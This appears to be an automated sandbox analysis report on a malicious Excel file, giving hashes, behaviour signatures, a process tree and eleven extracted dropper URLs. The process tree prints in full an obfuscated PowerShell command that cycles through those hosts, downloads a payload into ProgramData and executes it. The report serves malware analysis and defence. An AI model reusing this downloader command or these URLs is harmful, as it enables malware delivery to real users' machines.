Analysis

  • max time kernel
    51s
  • max time network
    60s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 21:24

General

  • Target

    d66d93f370e71baeb4eaeed10b233cb713063a201ea7a28125af3f8c66620cb0.xls

  • Size

    88KB

  • MD5

    bd13ab52926bf9538aa1b906a4b8b30a

  • SHA1

    0ef77584239793a78c8cdb713a7dc11658a1153c

  • SHA256

    d66d93f370e71baeb4eaeed10b233cb713063a201ea7a28125af3f8c66620cb0

  • SHA512

    d02016df197791444d456261bcea858e23e73de8e231db9a6e2a3d13a72763fb6d2df6d965292bea0804180a0784b5ec322e3b28290248069a28f82a49283ce1

  • SSDEEP

    1536:Jyehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQACkWvgrPE4nWHPNc2Ax:Jyehv7q2Pjx45uoDGTj+5xtekEvi8/dG

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/

exe.dropper

https://1566xueshe.com/wp-includes/z92ZVqHH8/

exe.dropper

http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/

exe.dropper

http://o2omart.co.in/infructuose/m4mgt2MeU/

exe.dropper

http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/

exe.dropper

http://www.ama.cu/jpr/VVP/

exe.dropper

http://actividades.laforetlanguages.com/wp-admin/dU8Ds/

exe.dropper

https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/

exe.dropper

https://edu-media.cn/wp-admin/0JAE/

exe.dropper

https://iacademygroup.cl/office/G42LJPLkl/

exe.dropper

https://znzhou.top/mode/0Qb/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d66d93f370e71baeb4eaeed10b233cb713063a201ea7a28125af3f8c66620cb0.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2992
    • C:\Windows\SYSTEM32\wscript.exe
      wscript c:\programdata\bbiwjdf.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3724
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2072

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k0ys1abz.yw1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    d55bcea04d08ecfe93a0cfa583db9fdc

    SHA1

    b022bab420769c4fc5bb74861ed035ef1a8317c2

    SHA256

    5009726e0eb274ff258c68b8a50510e98740f2eca1c8745990637d2faf11e85a

    SHA512

    944679cd63f6388cc99fb0268865710d35330dc8161c3d1fe5afc5dfc335b8aec40f9a4a1c70863a5520210173b2f50f422691465b22dc3ba7e04a70e1c0d7ba

  • \??\c:\programdata\bbiwjdf.vbs

    Filesize

    1KB

    MD5

    7baad56cc483132b8b9cb7a14722c3b1

    SHA1

    602f7933c443765697bb178ca137f17f81856f0d

    SHA256

    31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee

    SHA512

    b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

  • memory/2072-147-0x000002C0716E0000-0x000002C071E86000-memory.dmp

    Filesize

    7.6MB

  • memory/2072-127-0x000002C070850000-0x000002C070872000-memory.dmp

    Filesize

    136KB

  • memory/2992-9-0x00007FFF0C9D0000-0x00007FFF0C9E0000-memory.dmp

    Filesize

    64KB

  • memory/2992-45-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-8-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-7-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-1-0x00007FFF4EF6D000-0x00007FFF4EF6E000-memory.dmp

    Filesize

    4KB

  • memory/2992-14-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-15-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-18-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-17-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-16-0x00007FFF0C9D0000-0x00007FFF0C9E0000-memory.dmp

    Filesize

    64KB

  • memory/2992-13-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-12-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-11-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-10-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-25-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-6-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-74-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-75-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-101-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-110-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-2-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2992-5-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2992-4-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2992-132-0x00007FFF4EF6D000-0x00007FFF4EF6E000-memory.dmp

    Filesize

    4KB

  • memory/2992-133-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-134-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-135-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-136-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-140-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-141-0x00007FFF4EED0000-0x00007FFF4F0C5000-memory.dmp

    Filesize

    2.0MB

  • memory/2992-3-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB

  • memory/2992-0-0x00007FFF0EF50000-0x00007FFF0EF60000-memory.dmp

    Filesize

    64KB